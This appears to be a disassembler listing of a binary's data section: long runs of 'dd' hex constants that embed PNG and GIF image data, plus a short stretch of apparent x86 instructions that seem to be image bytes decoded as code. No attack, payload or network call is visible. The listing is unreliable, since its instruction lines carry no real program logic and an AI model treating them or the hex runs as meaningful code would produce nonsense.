0C36972FEh dd 92D0E62Ch, 3D9DCCB9h, 339AFE33h, 5735E6ABh, 8E6ECDB6h dd 0CCE39C2Ch, 0F9D339D8h, 0B3BE76B0h, 0E7ACF360h, 0CFB9F2BEh dd 0A033FD7Bh, 41E82AEDh, 0DABFB60Fh, 0E5A1AFFCh, 0A745E85Bh dd 1E8ED1B5h, 1D23A42Bh, 5A5349D6h, 34BE96ABh, 69AD3355h dd 0ABFA22CBh, 8DB4EDE5h, 0C056ED3Fh, 0F4D47A8Ah, 4F63EF24h dd 0FB5263CDh, 6ACAF53h, 4D63A72Fh, 0DAD359D4h, 0B5BEB6A7h dd 510D5D67h, 0C7FAEB58h, 0AFA8C6BCh, 60E42D7Fh, 0C4D8747Fh dd 4DB1B22Eh, 2364EC8Ah, 6D2DD979h, 0C97B3B6h, 7B4A9A6Dh dd 0F6AE4EDAh, 0ED8DAF4Eh, 0A85B6B28h, 9536EEDCh, 70D49DBFh dd 0E4CAFB8Bh, 0CFB9AA86h, 5F74E5ADh, 0EEECDD75h, 0ACDBBB2h dd 798378EFh, 37B575DEh, 6FAD736Bh, 0DEBBE2D5h, 0BFF336FDh dd 74701D4Dh, 0A1BFDAA7h, 0FBB782Eh, 2B84E89Eh, 70CDE5Ch dd 7E1FAAF5h, 5A9788EFh, 0F7DF14D1h, 719E31C0h, 0E3BBF2D4h dd 0C838FD03h, 71BA49FEh, 0B41C8F87h, 3E793F22h, 78F2AE53h dd 0EFE5BCB2h, 75CC397Ch, 0CF89F25Bh, 0BF32B29Ch, 0AE733979h dd 0BCD6DF73h, 39FF28E7h, 0F3CB39D0h, 0E8B35FA1h, 0D0A99746h dd 0A5F38E93h, 388A1C83h, 5FC5B4F4h, 438A704Dh, 3F5286FDh dd 1E6DC228h, 0FD787FF0h, 0BB0F60EBh, 764EC7D8h, 8623F3AFh dd 7C3AE4D4h, 3563E9Dh, 0CF1A2382h, 0E6347B88h, 0D3BAF74Eh dd 0C0D11A5Dh, 0CEF3DEBBh, 0BDFBBDF7h, 0BBFF80EFh, 0F84F03E0h dd 0F0BE1BC1h, 0E2BC3F88h, 0C5F8CF13h, 90EEDE2Fh, 0C6357BB7h dd 52038F81h, 447DF2D3h, 71ED2AFAh, 421C7B0Fh, 0BD084E0Bh dd 7A4F47E8h, 0F4C11427h, 0EABD3FA8h, 0D5FACF53h, 0B0F5BEBBh dd 63ECBD7Fh, 0DBD9FB4Fh, 0BFB8F6BEh, 0CF73EEBDh, 5EFBD2FBh dd 0C4385AF4h, 0F91EE3Dh, 8FE3EA6Ah, 3C254F9Ah, 4509D1E2h dd 8E126284h, 0A6247E88h, 53EAFD4Fh, 0C091117Fh, 0FE1C22FEh dd 7BEE0881h, 0FFE0FBBFh, 4FB3F73Eh, 0FF97ED7Eh, 3F4FE6FCh dd 0FEAFD7FAh, 0FDFFB3F6h, 0FC3F8FEEh, 0FAFF2FE7h, 0F8FADF9Fh dd 1DF47E9Fh, 40508931h, 0A0F513A2h, 7C74B876h, 0A87C947Eh dd 40F70F44h, 0AF07D06h, 0B60B90B6h, 18100B70h, 81381281h dd 16815814h, 98188178h, 81B81A81h, 1E81D81Ch, 0B82081F8h dd 0B680F81h, 6A0810AFh, 0C7980F70h, 7998044Ch, 0FA55B76Ch dd 10740EB0h, 0B80AC0Bh, 0C40C20C4h, 98380C30h, 83B83A83h dd 3E83D83Ch, 184083F8h, 84384284h, 46845844h, 18488478h dd 0C483584h, 0B10AC0B8h, 0B0EB0770h, 7C882A82h, 0FA55A82Dh dd 0B0A70950h, 0CC0C00Ah, 5E0E60C9h, 186085F8h, 86386286h dd 66865864h, 98688678h, 86B86A86h, 6E86D86Ch, 0C0E186B8h dd 0A90C00Ch, 520950A5h, 18774CB8h, 5598554Ah, 0B207A0F9h dd 50E70B30h, 0EC0DF0Eh, 86885884h, 88FE8878h, 0B88A8898h dd 88D88C88h, 9088F88Eh, 38928918h, 89189489h, 0E70E50E9h dd 0A0B20B30h, 4C387907h, 647889Dh, 30F94A78h, 0BB0AE07h dd 0F00EF0FFh, 0B8AA0EE0h, 8AD8AC8Ah, 0B08AF8AEh, 38B28B18h dd 8B58B48Bh, 0B88B78B6h, 88BA8B98h, 0FF0EF8Bh, 730B10BDh dd 24C189F0h, 8A14698Ch, 680F74A0h, 50BA0A80h, 8CD8CC76h dd 0D08CF8CEh, 2068CF8h, 8D100176h, 0D88D78D6h, 0E8D68D98h dd 680AE0Bh, 0DF4BF8C4h, 0D75376B8h, 5597556Bh, 0A40680F6h dd 0B8DA8CB0h, 8D68EC8Eh, 5F8D4204h, 38ED8D57h, 8F58F48Fh dd 0A80BC75Eh, 14D38DE0h, 8C64668Eh, 6C0F449Fh, 70B50A00h dd 7574750Fh, 1438906h, 9094360h, 90790B0Fh, 0F244890Eh dd 30B60F70h, 8FC06C0Ah, 59164B7h, 56C28E35h, 9005548Eh dd 0F00B209Ch, 30DF0E80h, 92592492h, 28927926h, 0B92A9299h dd 92C92C92h, 2F92B001h, 692FE39h, 49339252h, 92D93592h dd 3A939938h, 892593B9h, 0B10F00Eh, 0FB91509Bh, 791A8548h dd 55391C6Ch, 0B1098900h, 90DF0ED0h, 94F94E0Dh, 52951950h dd 59549539h, 95795695h, 56001957h, 0C0D995A9h, 95C94E95h dd 5F95D95Eh, 89619509h, 96796695h, 0D9969968h, 90ED0DF0h dd 9420890Ah, 639184CEh, 849E8FE4h, 8D06C0Fh, 0DF0EC0ADh dd 0D97C0D60h, 97F97E97h, 82981980h, 59849839h, 198598h dd 0D6988984h, 0A97C98A0h, 97E98C98h, 8698F98Fh, 59949939h dd 0D699699h, 840A6883h, 24CD9700h, 87B5F497h, 6C0F9554h dd 0B0A40860h, 0D30DC0Eh, 0AA9A99A8h, 0D9AC9AB9h, 9AF9AE9Ah dd 0B19B19B0h, 49B00019h, 9B60D39Bh, 49B89A8h, 82DB9AB2h dd 9BF9B29Bh, 0C29C19C0h, 0B0DC9A89h, 800A00Eh, 585399Ch dd 65539A08h, 7F06C0Fh, 0DB0EA09Eh, 59D40CD0h, 9D79D69Dh dd 0DA9D99D8h, 0DC9DB9FEh, 19DD9DD9h, 9E09DC00h, 0D49E20CDh dd 49E59E49h, 9DE9E69Eh, 0EC9EB9EAh, 0B9D89ED9h, 9B0EA0Dh dd 789C907Eh, 0D75A9448h, 54B80270h, 9A07E900h, 0E0D90E90h dd 0A01A000Ch, 4A03A02h, 7A06A05Ah, 0A09A08A0h, 4001A0Ah dd 0E0CEA0CAh, 0A00A0EA0h, 10A02A11h, 7A16A0AAh, 0A19A18A1h dd 0E90D9A08h, 0E9F30990h, 0A204B399h, 0CC94555Ch, 0C5539476h dd 9407B06h, 1A0D00DDh, 0FA2EA2DAh, 0A13A14A2h, 1A15A11h dd 7A12A34Ah, 0A30A35A3h, 7A3BA3Ah, 40DD0D0Ah, 9F407B09h dd 64A224CAh, 0F5529CC5h, 760680Eh, 3C9FF094h, 3A4EA4DAh dd 0A14206A0h, 31205A35h, 3A55204Ah, 0A59A4FA1h, 980D9A2Dh dd 18FA06F0h, 55E9F697h, 53726717h, 0B069A485h, 0A69A5AA4h dd 6CA6BA6Ah, 90CEA6DAh, 690970Dh, 6199DA5Fh, 0C75456DAh dd 0EF55471h, 9B06F06Eh dd 0E0D70DD0h, 0A81A80A6h, 0FEA83A82h, 3F0D7A01h, 406E06FAh dd 0A8A4AAA4h, 4DA465F8h, 0F0780F35h, 0BF08306h, 0CB0CA0C5h dd 9A98A970h, 0A9BA9AA9h, 9EA9DA9Ch, 1AA0A9FAh, 0AA3AA2AAh dd 0A6AA5AA4h, 0AAA4AA7Ah, 0BF0C50Ch, 7806F07Ch, 5807A8C0h dd 5696AAA7h, 660950F8h, 0A08F0550h, 0C60C10Ah, 0BEABD0C8h dd 1AC0ABFAh, 0AC3AC2ACh, 0C60C70C8h, 9AC8AC7Ah, 0ACBACAACh dd 0C40C7ACCh, 1AD0ACFAh, 0AD3AD2ADh, 0C4AD5AD4h, 0A0C1AC6Ah dd 5508F0Ah, 0D3876065h, 79199F94h, 5697129Fh, 6004A82Fh dd 308905F0h, 0AEB0AB0Ah, 0EEAEDAECh, 1AF0AEFAh, 0ACAEBAFh dd 0F6AF5AF4h, 9AF8AF7Ah, 0ACAFAAFh, 0FEAFDAF2h, 1B00AFFAh dd 0B03B02B0h, 0A3AF4AF2h, 5F0890h, 85104806h, 9D97454Bh dd 205D8084h, 6F06004h, 1607F07Eh, 9B18B17Bh, 0B1BB1AB1h dd 1EB1DB1Ch, 1B20B1FBh, 0B23B22B2h, 26B25B24h, 7EB23Bh dd 4206007h, 82FE805Dh, 92A8EB0Dh, 509F0F05h, 5307508h dd 38B3704Fh, 0FB3AB39Bh, 0B3B04904h, 40B3FB3Eh, 3B42B41Bh dd 0B45B44B4h, 48B47B46h, 7B3DB46Bh, 75053B4h, 6409F085h dd 0EB0E531Ah, 8C79D49h, 5805005Eh, 0BB5AB59Bh, 46050B5h dd 60B5FB5Ch, 3B62B61Bh, 0B65B64B6h, 68B67B66h, 0EB67B69Bh dd 5EB68B5h, 297C308Ch, 2B306B58h, 0FA0F459h, 0D80DA0E8h dd 0BB7AB790h, 0D8B7CB7h, 800D50D4h, 3B82B81Bh, 0B85B84B8h dd 88B87B86h, 0BB8AB89Bh, 0B8DB8CB8h, 7FB8FB8Eh, 0AB7AB8BBh dd 0FB0E40Dh, 24B72B71h, 0DA266D1Ah, 0B9D8F691h, 0A0B9FB9Eh dd 78D0BA1Bh, 0B52B5176h, 0F54DB73h, 0BBAABA99h, 759907BAh dd 0A5A77A62h, 3BAC553Bh, 0BB5BB4BBh, 76BAE444h, 0CA788E4Ah dd 0B5358174h, 0BE4BEBBCh, 14B7BBFBh, 4B5BC2BCh, 0D2BC5BC4h dd 8BC8BA75h, 0BCBBCA58h, 59574562h, 6BCE45B4h, 0F946B58h dd 0BB94CB6Dh, 4042E1BFh, 69054300h, 0BDFBDEBBh, 0E2BE1BE0h dd 5BE4BE3Bh, 434BE6BEh, 4B454452h, 41CF4560h, 0B9743040h dd 28571BD3h, 842C42A4h, 3DB4713Dh, 0FA3FD3DDh, 0DBFCBFBBh dd 0BFFBFEBFh, 2C01C00h, 5C04C03Ch, 3FF3ECC0h, 340242Ah dd 0D3D33B44h, 0C0FC0EC0h, 12C11C10h, 5C14C13Ch, 0C17C16C1h dd 0D53C3C18h, 41C6BEC3h, 3AD13C39h, 22C21C20h, 5C24C23Ch dd 0C27C26C2h, 2AC29C28h, 0E168C2BCh, 0BF6C1C46h, 32390380h dd 5C34C33Ch, 0C37C36C3h, 3AC39C38h, 2382C3BCh, 0C3F37D39h dd 42C41C40h, 5C44C43Ch, 0C47C46C4h, 4AC49C48h, 0DC4CC4BCh dd 0C4FC4EC4h, 52C51C50h, 5C54C53Ch, 0C57C56C5h, 5AC59C58h dd 1C4AC5BCh, 3B0010h, 474E5089h, 0A1A0A0Dh, 0D000000h dd 52444849h, 0F000000h, 13000000h, 608h, 57C24F00h, 0AAh dd 474B6206h, 0FF0044h, 0A0FF00FFh, 93A7BDh, 49F60200h dd 78544144h, 0CD938DDAh, 1855634Fh, 0DCE77FC6h, 50A1697Bh dd 4C2DB94Ah, 0E92285A6h, 0A2247190h, 5C6E8909h, 75B230B8h dd 0C8574B31h, 4CC6E11Fh, 5C6BD842h, 67FA1712h, 8D1ADC68h dd 0C98CDF8Eh, 0E8F90F84h, 0D2942D00h, 7BDEF6DBh, 70545CBEh dd 0C93E8D9Ch, 0CE7ABBC9h, 79E73BFBh, 0B1B1B15Fh, 0FAFAE1F1h dd 5AD607FAh, 421273CBh, 439CE000h, 9B35E108h, 0F6F6D6CDh dd 272727F6h, 41079F27h, 0C3D7AF40h, 0A5AB56AFh, 1AD5D5D5h dd 0B9F9ADFFh, 0B78FB9B9h, 0CEDCB6B6h, 4217CECEh, 24926408h dd 24924009h, 0D68A69A4h, 0D635AD0Ah, 1835AC68h, 0B7680063h dd 952A54DBh, 0E6E6E6C2h, 0E54AD5A7h, 0D214AA61h, 0E78B7739h dd 0D09C7E80h, 75F80FEBh, 67678CEFh, 5065522Dh, 0CD9A30CAh dd 1366CD2h, 7A3D1FF2h, 0B94CD9F4h, 0C37FAEFCh, 4E9279E4h dd 0FBEFCFB7h, 4EC822Dh, 6F6812B1h, 10670B94h, 0D72CC7D7h dd 75EBD4ABh, 2E2C318Ch, 0D6D6E62Eh, 3793DED6h, 0CFA756E6h dd 98268EB3h, 154FD128h, 3522BE3Ah, 924C7229h, 0BC381529h dd 228A22B8h, 41A4860h, 7E192041h, 453DD72Ah, 0EED24CCBh dd 7DDD10B4h, 4219CB16h, 797BA23Fh, 609F9C4Eh, 0E89CFCF7h dd 7EFE0AEAh, 0F8CA52A6h, 3C40D002h, 0F4EA2396h, 0DE0D3B88h dd 3147B95Ch, 94AAC19Ch, 0DEC5A4F8h, 30C505E9h, 0E22A9FA4h dd 60F180C1h, 0BE1CE704h, 0DA70214h, 0EC73ABCDh, 99D99668h dd 18CCB190h, 0B5831C49h, 34138B94h, 0F0F0E594h, 0CA53A100h dd 0ECDBF1F9h, 408EB1A4h, 0F3A7E64Ah, 7166554Ch, 28CB90A5h dd 368D3842h, 0A4B16729h, 76449DD9h, 15285847h, 6B779E11h dd 201085F6h, 25C5D105h, 4C07BB47h, 0C7E7DC2Eh, 7CFF43C8h dd 69A7F688h, 0A7DA3B5Ch, 0C5A051BFh, 5A8669F7h, 83EAF2CFh dd 66F9A189h, 0D3CA972Ah, 5F0CBD64h, 0DA716E3Eh, 192E01Ch dd 0DE88E751h, 50859B75h, 1777BB53h, 91DD0565h, 371C7F3Ch dd 0FFE14AD1h, 2A5010C3h, 3C1FB8E4h, 0E18EE961h, 780EEFABh dd 99866EFDh, 2EBA2507h, 53CC294Bh, 0A6F8A709h, 6E32E031h dd 37F87381h, 29271613h, 0F5BC14BEh, 4386BC6h, 0C9E7D4AFh dd 82F1C6E5h, 0BC7EBE11h, 117B0FCFh, 7C251CBFh, 0EF1ED3FBh dd 2644B3BFh, 675CF23Bh, 6F61186h, 42F90031h, 2A35AD11h dd 4DA9584Dh, 21E9E4F2h, 0B31E7FBBh, 277210B2h, 1DB5A3CCh dd 0F17E76h, 12F0F1C4h, 4D4D4C01h, 97EDF0F2h, 0A8979249h dd 0F2E486CCh, 0F8B5B445h, 94A42862h, 62F20BB7h, 74C5124Dh dd 1E1080B1h, 632124FDh, 0E108522Ch, 9A456B5Bh, 10A528A6h dd 74CBFC42h, 0E738493h, 992DD4A5h, 8C630A52h, 756AD514h dd 2DAB56B9h, 0FF0CA52Bh, 0AF4A5253h, 0FD3C68D1h, 9DCB690Bh dd 0C9ED7997h, 2, 4E454900h, 6042AE44h, 82h, 0 ; --------------------------------------------------------------------------- inc edi dec ecx inc esi cmp [ecx], bh popa push 84001700h adc eax, 0CFCFFF00h call eax sar bh, 1 fstp9 st(7) jmp ecx ; --------------------------------------------------------------------------- dd 0E3E3FFE1h, 0FFE4E4FFh, 0E6FFE5E5h, 0E7E7FFE6h, 0FFE8E8FFh dd 0ECFFE9E9h, 0EEEEFFECh, 0FFEFEFFFh, 0F1FFF0F0h, 0F2F2FFF1h dd 0FFF3F3FFh, 0F5FFF4F4h, 0F6F6FFF5h, 8 dup(0FFFFFFFFh) dd 4F921FFh, 1F000A01h, 2C00h, 680000h, 5000017h, 8E27E0FEh dd 689E6964h, 0EB6CAEAAh, 0CD44027Eh, 78DF6D74h, 0EF7CEFAEh dd 68C110DBh, 8F1A2BF0h, 206524C8h, 0D09E4C82h, 0AD4A74A8h dd 0ACD8AF5Ah, 49110AD6h, 78B0E0BEh, 0CF9B2E4Ch, 2D1AB4E8h dd 0F0DFB88Ah, 0AF4E7CB8h, 0FCF8EFDBh, 0FBE909BDh, 828180FFh dd 86858483h, 22858887h, 8E8D8C0Fh, 9291908Fh, 96959493h dd 0E229597h, 9E9D9C9Bh, 0A2A1A09Fh, 0A6A5A4A3h, 0AA0D22A4h dd 0AEADACABh, 0B2B1B0AFh, 0B3B5B4B3h, 0BAB90C22h, 0BEBDBCBBh dd 0C2C1C0BFh, 22C2C4C3h, 0CAC9C80Bh, 0CECDCCCBh, 0D2D1D0CFh dd 0A22D1D3h, 0DAD9D8D7h, 0DEDDDCDBh, 0E2E1E0DFh, 0E60922E0h dd 0EAE9E8E7h, 0EEEDECEBh, 0EFF1F0EFh, 0F6F5F2E5h, 0E6F9F8F7h dd 0FEFD0822h, 0A0300FFh, 0A0B0481Ch, 0D0883C1h, 0B0C0388Ah dd 1087C3A1h, 489C4A23h, 8BC5A2B1h, 0DC621715h, 0C7A3B1C8h dd 18450C8Fh, 0A4B24918h, 452893C9h, 0C95CAA53h, 964BA5B2h dd 98140622h, 0CDA6B349h, 0EA73389Bh, 0A7B3C9DCh, 3E4C9D4Fh dd 0B449F804h, 48A3D1A8h, 118040Bh, 0A7810040h, 9D4AA350h dd 0D5AAB54Ah, 6AB358ABh, 0C0002A95h, 0C360AF8Bh, 21FB1D8Ah dd 3B0004h, 38464947h, 0E06139h, 0F70060h, 0F7F2E800h dd 0CFFFFFFFh, 0D5C6E5DEh, 4F4F4FDBh, 0F9FCFBFBh, 0F1EDFAF9h dd 7C7A78F5h, 0D2DAD9D8h, 0F0ECD4D3h, 0DBD6CFF3h, 0EEE3DFD9h dd 8582F8F4h, 0E3DED687h, 0D4E2DDD5h, 0E9E0E1DCh, 0ECE7DEEEh dd 0E3F4EFE6h, 0EBE2F1ECh, 0EFEAE1F0h, 0E2A9A6A1h, 0DCCEEDE9h dd 0E2DBCDE3h, 0D9E0D9CBh, 0F1E7E8E3h, 0F5F0E6F6h, 0E4F4EFE5h dd 0D1C9F3EEh, 0DDD9D1D5h, 0ABF4F0E8h, 908CB4B1h, 0EEEBE592h dd 0DFEBE8E2h, 706EE8E5h, 0FEFDFB71h, 0D4E2E1DFh, 0E0D1D7D6h dd 0EBE4D5E7h, 0DDECE8DFh, 0E1D8EAE6h, 0F6F2E9E5h, 0D9EFEBE2h dd 0D9CAF0E9h, 0DCD6C7DFh, 0DAEDE8DCh, 0F2E8E8E4h, 9D9B96F6h dd 0E5CAC7BFh, 0F8EFF0EDh, 0F1EFE9FBh, 63BEBCB5h, 5A596565h dd 0FFFFFE5Ah, 0A6CBCBCAh, 0F2ECA7A7h, 0DCDFDBEEh, 0FDCAD9CAh dd 0CFB2FDFEh, 0E0EDE2ACh, 0B4A4CAABh, 0D2B7AED0h, 0B3D3B9B1h dd 0BFB6D5BCh, 0C1A0BAD7h, 86BD9A8Eh, 0ACA1CFB3h, 0AD8596C9h dd 7BC09E5Ch, 6370BC98h, 0AE8C2693h, 5AAD8B5Bh, 5873BA9Dh dd 88570C88h, 118A5B0Dh, 92188F60h, 0B89A62B2h, 75BA9E6Eh dd 5C098B5Ch, 8A5B0A8Bh, 0B89590Ah, 7A0D8B5Dh, 0B0903B9Fh dd 56AC8D57h, 0B96EB89Dh, 92638FD1h, 8906208h, 5F088F60h dd 8D60088Eh, 88C5D08h, 8E3DA47Fh, 0A8884EAFh, 53B1914Bh dd 955AB999h, 0B69A5DB3h, 6ABA9F64h, 0B985C5AEh, 0DED195CCh dd 0C8E4DAB9h, 68CFE9E0h, 95660896h, 8936608h, 64089265h dd 8E620891h, 88D6208h, 7818986Eh, 0B7972A9Fh, 54B49455h dd 9D5AB598h, 0B2955EBCh, 63C1A359h, 9F62BEA1h, 0C6A961BCh dd 6BBDA26Ah, 0AB74C0A7h, 0C9B47BC3h, 9CD2C08Ah, 0CAA3D6C5h dd 0E1D6AED8h, 0DEF0EABEh, 0EFE9F5F1h, 0F8F5E7F3h, 0F3F9F7EFh dd 0A8E6E9E8h, 0C9AC67C5h, 6CC7AB6Ch, 0B169C1A6h, 0CAAF70CCh dd 6EC9AE6Fh, 0B570CBB0h, 0DBC77ACFh, 0B9E6D896h, 0B56FCAB0h dd 0D2B974CFh, 76D0B677h, 0B97AD5BCh, 0D7BE78D2h, 7DD6BD7Dh dd 0C17ED4BDh, 0E4D383D9h, 0ACE4D5A6h, 0D5B2E7D8h, 0E4D4B0E4h dd 0B1E7D9A7h, 0C6D8ECE7h, 0E5E5BDC6h, 0B5C1C4E3h, 0FFBEDBE5h dd 0B0C69BE3h, 0A1D5EF84h, 0F4ADE3FEh, 0E4FCABDBh, 0BFEAFFB6h dd 0FDD5F0FDh, 0D1FF6DC9h, 7CB5D57Ch, 0F49FDAFCh, 0A0B69BD4h dd 0A7DEFD76h, 0FC93BED6h, 0E5F5CBEBh, 36B2FEC8h, 0FE4EBCFEh dd 0BAF160C1h, 6BB9E864h, 0F579C9FBh, 0BFED78C6h, 81CEFC77h dd 0F574B7E0h, 0C5F080C9h, 89D3FE7Fh, 0E287CCF7h, 0D0F77EBCh dd 94D7FE8Eh, 0E894D3F9h, 0CDF08AC4h, 9AD7FB93h, 0EC95C9EAh dd 0ACDF55B0h, 72C5FE63h, 0F56DBFF4h, 97EA73C2h, 40A0E729h dd 0E0A4C4DCh, 6DCD509Fh, 3F7DCC14h, 0CBBECCDFh, 0BEDA5888h dd 0FEFEFEAEh, 0F7FCFCFCh, 0F2F2F7F7h, 0EDEDEDF2h, 0E7EAEAEAh dd 0ACACE7E7h, 2CACh, 0E00000h, 8000060h, 0D86D00FFh, 85F04180h dd 13088380h, 0B0C85C2Ah, 1087C3A1h, 489C4A23h, 8BC5A2B1h dd 7C1E3318h, 0C0861041h, 6C043081h, 0E4A380E8h, 53289380h dd 0B2C95CAAh, 3097CBA5h, 499CCA63h, 9BCDA6B3h, 0C4966B38h dd 8361D1h, 70052082h, 800221C8h, 9348A3D1h, 0B4CA5D2Ah dd 50A7D3A9h, 4A9D4AA3h, 0ABD5AAB5h, 0C88A8D58h, 4127E1C1h dd 8AB22191h, 0ACB64B1Dh, 0B168B3D9h, 7049F086h, 70B7DA68h dd 9B9DCAE3h, 178C2B96h, 0DDD02A37h, 5FAFB7CBh, 186E1FB9h dd 42D571C4h, 5A090483h, 2DC5BF8h, 1F151209h, 4C9E4AFEh dd 838E2C59h, 48D6A984h, 0BF5F8FDCh, 0F33B8B7Eh, 812FD7DBh dd 53A8CA8Ah, 597A4EABh, 2AA96640h, 17E3F05Ah, 0C5E7F3FAh dd 48B746FEh, 0EFB56160h, 0F5B7DDFh, 1FA09A98h, 6BB7CEE9h dd 0AFECEEE3h, 0D0E00F88h, 701DA3A3h, 1DD43870h, 0F679F62Dh dd 0B890BFCh, 0B85DE005h, 0ABF048FFh, 0D2E72FF6h, 4AB7ABD3h dd 0A7F5805Dh, 4ED367D9h, 0E812450h, 80761F11h, 0BC62D0D0h dd 0F848DB3Fh, 47AD7A2h, 7B54B816h, 0C3E535EFh, 2FDB368h dd 7D4B73DEh, 0D7142A0h, 81845116h, 1902192h, 709D4B86h dd 3E085342h, 0FA3F81F5h, 0EDE3834h, 8480594Fh, 91044868h dd 6C425342h, 2B09D468h, 8DC04560h, 0D460F004h, 38DC2B08h dd 48008C84h, 92098040h, 51808065h, 6465FA1Ah, 103D54h dd 56208795h, 0FA0A14F7h, 3F8FB3ECh, 5520B809h, 595DD905h dd 354D0F44h, 4904129h, 90D57980h, 81993400h, 0B0024790h dd 266F6A64h, 4F9BD7D9h, 87E4F935h, 54E8854Ch, 0D768063Fh dd 49910282h, 0FB68C285h, 0A0FF024h, 0A1F0214Dh, 70F000A2h dd 8230AE3h, 4002639h, 10646048h, 26851E95h, 0F0200F00h dd 94C1080h, 430F43D9h, 9A6408DCh, 42A9842h, 60200091h dd 98439882h, 0AC6950FFh, 82710826h, 8A502310h, 0DE4DA980h dd 31868428h, 8D41951Ah, 546A4946h, 50AC08A5h, 0EE4D91EAh dd 3C86A68Ah, 8E63DAE0h, 42012BDh, 0B03C2B05h, 4C1287C2h dd 128DECEBh, 52C98D0h, 0E788FAADh, 0F5365281h, 62553EC1h dd 0FC5522F9h, 982D954h, 0E39A865Ah, 9AC81210h, 52C6A7EBh dd 48B0696Ah, 10E9EA6Dh, 0EA252E3Ah, 0F098008Fh, 201251C0h dd 48AAD46Ch, 9A639ABEh, 6D70F713h, 801247C2h, 524D0500h dd 0C3066710h, 9002B51Ah, 290B22FDh, 0A1044305h, 50439BA6h dd 42982C90h, 90C23C2Ch, 0C3DC3F1Fh, 2C526D0Ah, 9C00C2ECh dd 63B44190h, 0BA679A32h, 4061014Ch, 4024BF95h, 1C0B5543h dd 41104FDDh, 1027538h, 0F3C03E1Bh, 5A4F33CCh, 129A9D29h dd 0A7ACAB29h, 0AFEA2522h, 430654Ah, 2AB71052h, 367651B1h dd 1490B05Ah, 0F6C7994h, 0C2390B1Fh, 9B16E4CCh, 6A72BFA9h dd 36D8FFh, 0B5892729h, 192F5651h, 0EC27DE77h, 4EDB2B9Ah dd 0D442B002h, 232B2B09h, 0E7BB4394h, 20F902D4h, 345582DDh dd 104FCD1Ch, 66253846h, 290A78ABh, 0E696D6ABh, 1B8FA9ACh dd 0F6F6C12h, 40403C23h, 6547ACh, 0BB6951EAh, 0DFDB76DAh dd 0A5372B82h dd 2499B774h, 8DEB3CB4h, 0FC19DF7Ah, 0A3926ABDh, 0B321ACF7h dd 0B7BAFA38h, 9F4694CEh, 0A39499AAh, 0B53796Bh, 0A22ED3E0h dd 6553E956h, 0BA04FF11h, 0EF56E8D4h, 0C7D64048h, 0A6D4AEA6h dd 94AEDF84h, 2D9FB5A8h, 0B30FFDACh, 6DE37BAAh, 0A6B0509Fh dd 0CD532A66h, 0B132956Ah, 32590DEDh, 0E35BF2h, 0ADC10237h dd 580F708Fh, 328EDC12h, 0C3DC638h, 5DA14672h, 14A5CECFh dd 165313Dh, 3F53E801h, 7D157080h, 41014D1Ch, 46529F30h dd 7D302B27h, 7244700Ah, 292FB94h, 0ACCC003Fh, 0D512744Dh dd 3B64C00Ah, 28ED5186h, 990F80Fh, 3BB562FFh, 4C010DFEh dd 0DCDE040Dh, 24AE46CCh, 477E4CA1h, 910C9DA1h, 0CA1EBA37h dd 33336C89h, 0D55B1301h, 2ED81E26h, 0E1E33367h, 8264C60Ah dd 86CB6813h, 0F6D28ADBh, 10807298h, 57016956h, 90D1C031h dd 31A58450h, 228E79A5h, 7612A400h, 30CDD923h, 0CA3AAC60h dd 0B2457CCDh, 5ACD4D32h, 10CA3266h, 5482354Dh, 455560ADh dd 72B59FACh, 6132BBF5h, 1A725ACBh, 45645299h, 71523F00h dd 956C9376h, 2374788Ch, 8525D1Dh, 87D67012h, 9EB1A948h dd 2B90EB81h, 0ACB740A0h, 25CAC695h, 246D2948h, 0E1F60142h dd 20B0AB80h, 12C02C00h, 0BEC2FE87h, 3A0DFCAAh, 0FCA5C1Eh dd 7C8F8002h, 1FA018h, 0A53481D8h, 14129509h, 0D8F80880h dd 0E98601C7h, 0E55DC497h, 6649C098h, 0F704A52h, 9CE3D07Bh dd 3A87B0F4h, 76CEC9D7h, 0E99D13B2h, 0B80947ACh, 88DF4F49h dd 0A0BF28F3h, 0F1E63CC7h, 0FA7E8EFFh, 84FD9FF3h, 4A074087h dd 63C282D0h, 6120F61Eh, 994A173Dh, 800027Bh, 4486A4FAh dd 6AD12A27h, 16A2F458h, 374686B5h, 78650D6Ah, 851EA3F4h dd 0CA143D07h, 0C5F292D0h, 8798D1A1h, 0E51AD44h, 0A5E33474h dd 316988D0h, 9A8C718Ah, 3819031Eh, 7634A9CDh, 8C6453CAh dd 0A0CB1943h, 92B23447h, 9C8B3B6h, 0E85AB538h, 4FC0813Dh dd 0A783646Ah, 54869D3Ch, 0A9D54AA7h, 58193542h, 0B239EACDh dd 62918D71h, 3966A8A5h, 2A926FEAh, 0E81205C8h, 6950FD9Eh dd 0CDA6235h, 1CE33867h, 398730E9h, 665741C4h, 0E21995D8h dd 0F63A6B90h, 18620C4Ah, 4535AFE3h, 91B631C6h, 0E2FC7A0Dh dd 6B0C81ABh, 564356D8h, 9EE81A0Bh, 35A950BFh, 700E41D0h dd 0E11C2380h, 0B56686F0h, 7C6F8DA1h, 1D98B343h, 0D1CB6887h dd 23369752h, 0A9A0D0A6h, 0D861B438h, 638A3EB2h, 9811BB1Ah dd 0C4BB3966h, 54AB26FFh, 98243819h, 332B8470h, 0AD6F2E32h dd 0C91E9652h, 2258AE25h, 3ADA5B05h, 0D6A2A601h, 68DE1BA4h dd 11D2D395h, 0AB56176Dh, 32AE55Bh, 0F462823Eh, 8DA3781Ah dd 88BB0521h, 708F5DB4h, 3DDB3005h, 3226CD0h, 75A1286Fh dd 0B2D56CADh, 8A3B4483h, 0E0B243Fh, 1B37D86Eh, 3BACE0D9h dd 775FC1DAh, 0DA1DD7F8h, 46386D00h, 0CAD30E8Bh, 38F2B574h dd 1028526Ch, 28E926A3h, 33864h, 0C63B6CCAh, 642C2D26h dd 0C7407C40h, 0E0BC551Ah, 205B004Ah, 90CF99E3h, 0DC1EC572h dd 0EA1BC18Ah, 14CB0DA4h, 4C2B15B3h, 98BC3B66h, 29801009h dd 7FB1421Eh, 0B9F062D7h, 0DB45E706h, 0C44350B9h, 7B26991Ah dd 2DB883D4h, 7B0B538Eh, 0A66D2899h, 60025BBDh, 86B0D4BEh dd 654CA765h, 0B4395ACCh, 816D20E3h, 995A7A5Fh, 0DE1C54CEh dd 4E877048h, 820AC450h, 6C0F89D5h, 1540C26Ch, 451E02ACh dd 7AC34EFFh, 2589229Ch, 8E200261h, 0C2160C07h, 0A9D77EEDh dd 46992207h, 0DBC1E293h, 3533C634h, 0E861CDB7h, 0DE901BD5h dd 0E1F5B584h, 880F078Dh, 3078021Bh, 79ADFC02h, 0D19B87C9h dd 0CF7290FFh, 0CA4356F9h, 6686E5F6h, 528DBB3Dh, 741BB5D3h dd 0CD5CABA5h, 0BB568E71h, 